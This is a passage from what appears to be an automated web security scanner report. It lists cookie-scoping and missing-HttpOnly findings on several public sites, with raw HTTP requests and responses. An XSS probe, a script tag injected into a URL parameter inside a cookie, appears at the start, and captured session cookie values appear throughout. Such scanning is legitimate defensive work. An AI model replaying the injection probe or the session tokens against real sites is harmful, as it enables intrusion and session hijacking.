Microsoft.com=SS=280&SS_Refn=150&SS_Url=http://social.msdn.microsoft.com/Search/en-US/?query=xss&rq=meta:Search.MSForums.ForumID(89a61008-0ec7-44d2-8e8e-f4298bd11382)+site:microsoft.com&rn=Announcements+for+all+Forums+Forumb5d14<script>prompt(document.location)</script>50a75409575~~9/3/2011 3:18:24 AM; ANON=A=09C89511BF100DC2E6BE1C66FFFFFFFF&E=b9f&W=1; NAP=V=1.9&E=b45&C=fwpnHGQ2X_czDvTIj3ESgREE63mN7SiurD-8ETgQspHQSOUuQ0Sfog&W=1; mstcid=2fc016a8; s_cc=true; s_sq=%5B%5BB%5D%5D; MS0=388b42ba7c334cca94605d6b2063113f; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=df1e60fc-1a2a-443a-9219-b99f0bf68379&Microsoft.CreationDate=09/21/2011 15:34:29&Microsoft.LastVisitDate=09/21/2011 15:34:32&Microsoft.NumberOfVisits=2&SessionCookie.Id=CA1CFC57300662C795E3D4CB7EEAD853

Response

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Location: http://www.microsoft.com/china/windows/club/default.aspx
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: RioTracking.CellCode=200019532; domain=.microsoft.com; path=/
Set-Cookie: RioTracking.Organic=0; domain=.microsoft.com; path=/
Set-Cookie: OnlineTrackingV2.0=CTC=200019532; domain=.microsoft.com; path=/
Set-Cookie: RioTracking.EndActionCode=300009712; domain=.microsoft.com; path=/
Set-Cookie: OnlineTrackingV2.0=CATC=400199718&CTC=200019532; domain=.microsoft.com; path=/
VTag: 791759142800000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Wed, 21 Sep 2011 15:35:27 GMT
Content-Length: 173

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://www.microsoft.com/china/windows/club/default.aspx">here</a>.</h2>
</body></html>

6.16. http://www.simplyhired.com/a/catalog/keywords previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/catalog/keywords

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

shut=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/; domain=.simplyhired.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /a/catalog/keywords?q=x HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sess=ct%3D4e77a776%3Bv%3D1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; shup=fvt%3D4e77a776; __qca=P0-672047654-1316482567293; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.1.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); shua=uafbp%3D8

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 76

{"set_id":"en-us","requested_string":"x","matches":[],"available_matches":0}

6.17. http://www.simplyhired.com/a/facebook/metrics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/facebook/metrics

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

shut=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/; domain=.simplyhired.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /a/facebook/metrics?status=-1&target=home HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: application/json, text/javascript, */*
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sess=ct%3D4e77a776%3Bv%3D1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; shup=fvt%3D4e77a776; __qca=P0-672047654-1316482567293; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.1.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Sep 2011 20:35:05 GMT
Content-Type: application/json
Connection: keep-alive
Keep-Alive: timeout=20
Set-Cookie: shut=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/; domain=.simplyhired.com
Set-Cookie: shmk=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/
Cache-Control: no-cache, must-revalidate
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Content-Length: 1

1

6.18. http://www.simplyhired.com/a/facebook/status previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/facebook/status

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

shut=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/; domain=.simplyhired.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /a/facebook/status?login=n HTTP/1.1
Host: www.simplyhired.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: application/json, text/javascript, */*
Referer: http://www.simplyhired.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gc=1; sess=ct%3D4e77a776%3Bv%3D1; sh3=id%3D4073090414e77a776cd8059.42829974%3Brv%3D5d432ed0%3Bcv%3D2; sh2=cso%3D4e77a776%3Bslu%3D0%3Bref%3Dsh; shabts=none; shup=fvt%3D4e77a776; __qca=P0-672047654-1316482567293; __utma=270297075.791552784.1316482567.1316482567.1316482567.1; __utmb=270297075.1.10.1316482567; __utmc=270297075; __utmz=270297075.1316482567.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

6.19. http://www.youtube.com/get_video_info previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/get_video_info

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

GEO=044bc9ef6d5ff2cb87f1572f2d8b7146cwsAAAAzVVMyF3tqTnddAA==; path=/; domain=.youtube.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /get_video_info?video_id=D9-fXRNJsa4&el=embedded&ps=default&autoplay=1&eurl=http%3A%2F%2Fwww%2Etwittergadget%2Ecom%2F&hl=en_US HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.youtube.com/v/D9-fXRNJsa4&hl=en&fs=1&rel=0&border=0&autoplay=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=f_pXTnp7lsc; PREF=fv=10.3.183

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:17:20 GMT
Server: wiseguy/0.6.10
X-Content-Type-Options: nosniff
Set-Cookie: GEO=044bc9ef6d5ff2cb87f1572f2d8b7146cwsAAAAzVVMyF3tqTnddAA==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 4651

fexp=904531%2C904437%2C911304&ptk=twittergadget%252Buser&shortform=True&allow_embed=1&ad_host_tier=338833&mpvid=AAStTNbaJGRyYxX-&allow_ratings=1&keywords=twitter%2Ctwittergadget%2Csocial+media%2Csocia
...[SNIP]...

6.20. http://www9.effectivemeasure.net/v4/em_js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www9.effectivemeasure.net
Path:	/v4/em_js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

vt=153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8; expires=Thu, 13-Sep-2012 19:19:04 GMT; path=/; domain=.effectivemeasure.net
v=4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a89_73; expires=Mon, 19-Sep-2011 19:49:04 GMT; path=/; domain=.effectivemeasure.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v4/em_js?flag=0&v=&vt=&hl=&sv=0&pv=&pn=&p=aHR0cDovL3d3dy5saWZlaGFja2VyLmNvbS5hdS8%3D&r=aHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZQ%3D%3D&f=0&ns=_em&rnd=0.1121701293131997&u=&sf=1& HTTP/1.1
Host: www9.effectivemeasure.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/
Cookie: vt=ffe99914f4871625e919d928fce04e4bf6a560aa60-428426584e4bf6c5

Response

HTTP/1.1 200 OK
P3P: policyref="http://www.effectivemeasure.net/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND UNI NAV COM"
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-cache, must-revalidate
Pragma-directive: no-cache
Cache-Directive: no-cache
Expires: 0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: vt=153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8; expires=Thu, 13-Sep-2012 19:19:04 GMT; path=/; domain=.effectivemeasure.net
Set-Cookie: v=4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a89_73; expires=Mon, 19-Sep-2011 19:49:04 GMT; path=/; domain=.effectivemeasure.net
Content-type: text/javascript
Connection: close
Content-Length: 181
Date: Mon, 19 Sep 2011 19:19:04 GMT
Server: C11

_em._domain="lifehacker.com.au";_em.setCkVt("153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8");_em.setCkV("4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a8");

7. Cookie without HttpOnly flag set previous next
There are 201 instances of this issue:

https://www.createspace.com/en/community/4.0.15/styles/csp/comm.css
https://www.createspace.com/en/community/4.0.15/styles/csp/csp-noavatar.css
https://www.createspace.com/en/community/4.0.15/styles/csp/csp.css
https://www.createspace.com/en/community/render-widget!execute.jspa
http://www.demosondemand.com/shared_components/javascript/launchDemoStage3PlayerClient_js.asp
http://www.games.net/community/door_check.cfm
http://www.pcworld.com/articleComment/get.do
http://www.pcworld.com/articleVote/get.do
http://www.simplyhired.com/
http://www.simplyhired.com/a/accounts/login
http://www.simplyhired.com/a/jobs/list/q-xss
http://www.simplyhired.com/a/our-company/about-us
http://www.simplyhired.com/a/our-company/contact-us
http://www.cnet.com/
http://www.cnet.com/internet-security/
https://www.createspace.com/en/community/community/member_showcase
https://www.credit-suisse.com/
https://www.credit-suisse.com/us/en
https://www.credit-suisse.com/us/en/
http://www.facebook.com/creditsuisse
http://www.google.com/ig/add
http://www.google.com/ig/adde
http://www.google.com/ig/cp/get
http://www.idgconnect.com/
http://www.itworld.com/
http://www.itworld.com/elqNow/elqBlank.htm
http://www.itworld.com/elqNow/elqCfg.js
http://www.itworld.com/elqNow/elqFCS.js
http://www.itworld.com/elqNow/elqImg.js
http://www.itworld.com/elqNow/elqOPG.js
http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
http://www.itworld.com/kickapps/isfollowing-comments/204223
http://www.itworld.com/misc/collapse.js
http://www.itworld.com/misc/drupal.js
http://www.itworld.com/misc/textarea.js
http://www.itworld.com/sites/all/modules/contrib/InsertNode/back_from_comment.js
http://www.itworld.com/sites/all/modules/contrib/ajax_poll/ajax_poll.js
http://www.itworld.com/sites/all/modules/contrib/ajax_poll_results/ajax_poll_results.js
http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.cluetip.js
http://www.itworld.com/sites/all/modules/contrib/cluetip/cluetip/jquery.hoverIntent.js
http://www.itworld.com/sites/all/modules/contrib/ctools/js/ajax-responder.js
http://www.itworld.com/sites/all/modules/contrib/ctools/js/modal.js
http://www.itworld.com/sites/all/modules/contrib/dialog/dialog.js
http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js
http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js
http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/external/cookie/jquery.cookie.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.core.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.dialog.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.draggable.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.resizable.js
http://www.itworld.com/sites/all/modules/contrib/jquery_ui/jquery.ui/ui/ui.tabs.js
http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.form.js
http://www.itworld.com/sites/all/modules/contrib/jquery_update/replace/jquery.js
http://www.itworld.com/sites/all/modules/contrib/kickapps_comments/js/kickapps_comments.js
http://www.itworld.com/sites/all/modules/contrib/mollom/mollom.js
http://www.itworld.com/sites/all/modules/contrib/nice_menus/nice_menus.js
http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js
http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js
http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_thumbnailhover/views_slideshow.js
http://www.itworld.com/sites/all/modules/contrib/views_slideshow/js/jquery.cycle.all.min.js
http://www.itworld.com/sites/all/modules/contrib/viewscarousel/jquery.jcarousel.pack.js
http://www.itworld.com/sites/all/modules/contrib/viewscarousel/viewscarousel.js
http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js
http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js
http://www.itworld.com/sites/all/modules/itw/modules/friendconnect/friendconnect.js
http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js
http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js
http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads_itworld/jquery.lazyload-ad-1.4.min.js
http://www.itworld.com/sites/all/modules/itw/modules/itw_login/itw_login.js
http://www.itworld.com/sites/all/modules/itw/modules/itw_omniture/js/s_code-dev.js
http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css
http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js
http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js
http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js
http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js
http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js
http://www.itworld.com/sites/all/themes/itworld/images/ab-actions.gif
http://www.itworld.com/sites/all/themes/itworld/images/ab-arrow.gif
http://www.itworld.com/sites/all/themes/itworld/images/ab-bg.gif
http://www.itworld.com/sites/all/themes/itworld/images/ad-choices-footer.gif
http://www.itworld.com/sites/all/themes/itworld/images/ajax-loader-sharebar.gif
http://www.itworld.com/sites/all/themes/itworld/images/answers-bg.png
http://www.itworld.com/sites/all/themes/itworld/images/answers-logo.gif
http://www.itworld.com/sites/all/themes/itworld/images/arrow-dn-red.gif
http://www.itworld.com/sites/all/themes/itworld/images/ask-a-q-tab.gif
http://www.itworld.com/sites/all/themes/itworld/images/bullet.gif
http://www.itworld.com/sites/all/themes/itworld/images/button-bg1.gif
http://www.itworld.com/sites/all/themes/itworld/images/carousel-next.gif
http://www.itworld.com/sites/all/themes/itworld/images/carousel-prev.gif
http://www.itworld.com/sites/all/themes/itworld/images/comment-arrow.gif
http://www.itworld.com/sites/all/themes/itworld/images/commentsSprite.png
http://www.itworld.com/sites/all/themes/itworld/images/commentsigninbg.png
http://www.itworld.com/sites/all/themes/itworld/images/default-profile-medium.png
http://www.itworld.com/sites/all/themes/itworld/images/email.gif
http://www.itworld.com/sites/all/themes/itworld/images/footer-logo.gif
http://www.itworld.com/sites/all/themes/itworld/images/formtextbg.gif
http://www.itworld.com/sites/all/themes/itworld/images/header-sprite.png
http://www.itworld.com/sites/all/themes/itworld/images/icons/comments.png
http://www.itworld.com/sites/all/themes/itworld/images/icons/itworld-favicon.png
http://www.itworld.com/sites/all/themes/itworld/images/icu-redbar.gif
http://www.itworld.com/sites/all/themes/itworld/images/in-share.gif
http://www.itworld.com/sites/all/themes/itworld/images/itworld_logo.png
http://www.itworld.com/sites/all/themes/itworld/images/joinandpostbg.gif
http://www.itworld.com/sites/all/themes/itworld/images/linkedin-icon-sml.png
http://www.itworld.com/sites/all/themes/itworld/images/mag-glass.gif
http://www.itworld.com/sites/all/themes/itworld/images/more-down-arrow.png
http://www.itworld.com/sites/all/themes/itworld/images/next-blog.png
http://www.itworld.com/sites/all/themes/itworld/images/prev-next-footerline.png
http://www.itworld.com/sites/all/themes/itworld/images/print.gif
http://www.itworld.com/sites/all/themes/itworld/images/questionbubble-dk.png
http://www.itworld.com/sites/all/themes/itworld/images/redarrow-rt.png
http://www.itworld.com/sites/all/themes/itworld/images/rssicon-sml.gif
http://www.itworld.com/sites/all/themes/itworld/images/seemore-redarrow.gif
http://www.itworld.com/sites/all/themes/itworld/images/share.gif
http://www.itworld.com/sites/all/themes/itworld/images/sl-divider.png
http://www.itworld.com/sites/all/themes/itworld/images/social-box-grad.gif
http://www.itworld.com/sites/all/themes/itworld/images/squarebullet-red.gif
http://www.itworld.com/sites/all/themes/itworld/images/twitter-icon-sml.png
http://www.itworld.com/sites/all/themes/itworld/js/ba-debug.js
http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js
http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js
http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js
http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js
http://www.itworld.com/sites/all/themes/itworld/js/jquery.scrollTo-1.4.2.js
http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js
http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js
http://www.itworld.com/sites/all/themes/itworld/js/node.js
http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
http://www.itworld.com/sites/default/files/css/css_eecda8f4cb722a419ca2d21598c76b05.css
http://www.itworld.com/sites/default/files/fc_26055.png
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-12749.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-3232.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-5506.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-5772.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-6090.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-7409.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-8601.jpg
http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-9469.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/IT_jobs_hp_0.gif
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/WinMac-01-150x113.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/dj-roomba.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/free%20games%20thumbnail.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/geeky%20plates%20thumbnail.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/girder%20cloud_thumb.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/html5-icon.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/learn-600x450.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/netflix2-600x450_1.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/thunderbolt-icon-150x113.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/windows_8.png
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/yahoo_collaps_290x218.jpg
http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/zuck-style-150x113_0.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/att-billboard-600x450_0.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/cat-video-game-600x450_0.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/daumier-600x450_1.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/netflix2-600x450_1.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/obama2-600x450.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/pay-here-290x218.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/rim-600x450.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/steven-sinofsky3-600x450_0.jpg
http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/thunderbolt-icon-150x113.jpg
http://www.itworld.com/sites/default/files/imagecache/top_story_1col_image/tmp/yahoo_collaps_290x218.jpg
http://www.itworld.com/sites/default/files/imagecache/top_story_2col_image/tmp/disguise.jpg
http://www.itworld.com/sites/default/files/images/quote_img_btm.jpg
http://www.itworld.com/sites/default/files/picture-12749.jpg
http://www.itworld.com/sites/default/files/picture-16291.jpg
http://www.itworld.com/sites/default/files/picture-16293.png
http://www.itworld.com/sites/default/files/picture-18755.jpg
http://www.itworld.com/sites/default/files/picture-20267.jpg
http://www.itworld.com/sites/default/files/picture-2341.jpg
http://www.itworld.com/sites/default/files/picture-3232.jpg
http://www.itworld.com/sites/default/files/picture-43.jpg
http://www.itworld.com/sites/default/files/picture-45.jpg
http://www.itworld.com/sites/default/files/picture-5506.jpg
http://www.itworld.com/sites/default/files/picture-5772.jpg
http://www.itworld.com/sites/default/files/picture-6090.jpg
http://www.itworld.com/sites/default/files/picture-7283.jpg
http://www.itworld.com/sites/default/files/picture-7409.jpg
http://www.itworld.com/sites/default/files/picture-8601.jpg
http://www.itworld.com/sites/default/files/picture-9469.jpg
http://www.leadforce1.com/bf/bf.php
http://www.lijit.com/beacon
http://www.microsoft.com/click/services/Redirect2.ashx
https://www.onekingslane.com/
https://www.onekingslane.com/api/customer-summary.xml
https://www.onekingslane.com/careers
https://www.onekingslane.com/contact-us
https://www.onekingslane.com/corporate/careers/
https://www.onekingslane.com/corporate/careers/tech/
https://www.onekingslane.com/join
https://www.onekingslane.com/join/api%252Fcustomer-summary.xml
http://www.simplyhired.com/a/catalog/keywords
http://www.simplyhired.com/a/facebook/metrics
http://www.simplyhired.com/a/facebook/status
http://www.twittergadget.com/oauth/redirect.php
https://www.twittergadget.com/oauth/redirect.php
http://www.visitor-track.com/admin/loghit.asp
http://www.youtube.com/get_video_info
http://www9.effectivemeasure.net/v4/em_js

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

7.1. https://www.createspace.com/en/community/4.0.15/styles/csp/comm.css previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/en/community/4.0.15/styles/csp/comm.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=51A728678BB0F838469C022F0317DF1B.clearspaceworker00; Path=/en/community; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/community/4.0.15/styles/csp/comm.css?version=20110912181112 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/css,*/*;q=0.1
Referer: https://www.createspace.com/en/community/community/member_showcase
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03E0FCBB4F2FC88D87B1E8617DDEA80E.clearspaceworker00; jive.server.info="serverName=www.createspace.com:serverPort=443:contextPath=/en/community:localName=admin.createspace.com:localPort=443:localAddr=null"; jive.recentHistory.-1=31342c323031383b; JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:45 GMT
Server: Apache
Cache-Control: max-age=31536000, public
Expires: Tue, 18 Sep 2012 15:01:45 GMT
Set-Cookie: JSESSIONID=51A728678BB0F838469C022F0317DF1B.clearspaceworker00; Path=/en/community; Secure
X-JAL: 0
X-JAL: 0
Vary: Accept-Encoding
Content-Length: 7630
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css;charset=UTF-8

/* CSS Document */
/*#########################################################################################
## CreateSpace comm.css
## First Version: 2/19/09
## Last Updated: 2/19/09
## Author: Mar
...[SNIP]...

7.2. https://www.createspace.com/en/community/4.0.15/styles/csp/csp-noavatar.css previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.createspace.com
Path:	/en/community/4.0.15/styles/csp/csp-noavatar.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=8407C732DCB6F3DE98C080309FB8C5F3.clearspaceworker00; Path=/en/community; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/community/4.0.15/styles/csp/csp-noavatar.css?version=20110912181112 HTTP/1.1
Host: www.createspace.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/css,*/*;q=0.1
Referer: https://www.createspace.com/en/community/community/member_showcase
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=03E0FCBB4F2FC88D87B1E8617DDEA80E.clearspaceworker00; jive.server.info="serverName=www.createspace.com:serverPort=443:contextPath=/en/community:localName=admin.createspace.com:localPort=443:localAddr=null"; jive.recentHistory.-1=31342c323031383b; JSESSIONID=2DBBE83929803EADC095C07D2EAB79C7.cspworker01

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:01:46 GMT
Server: Apache
Cache-Control: max-age=31536000, public
Expires: Tue, 18 Sep 2012 15:01:46 GMT
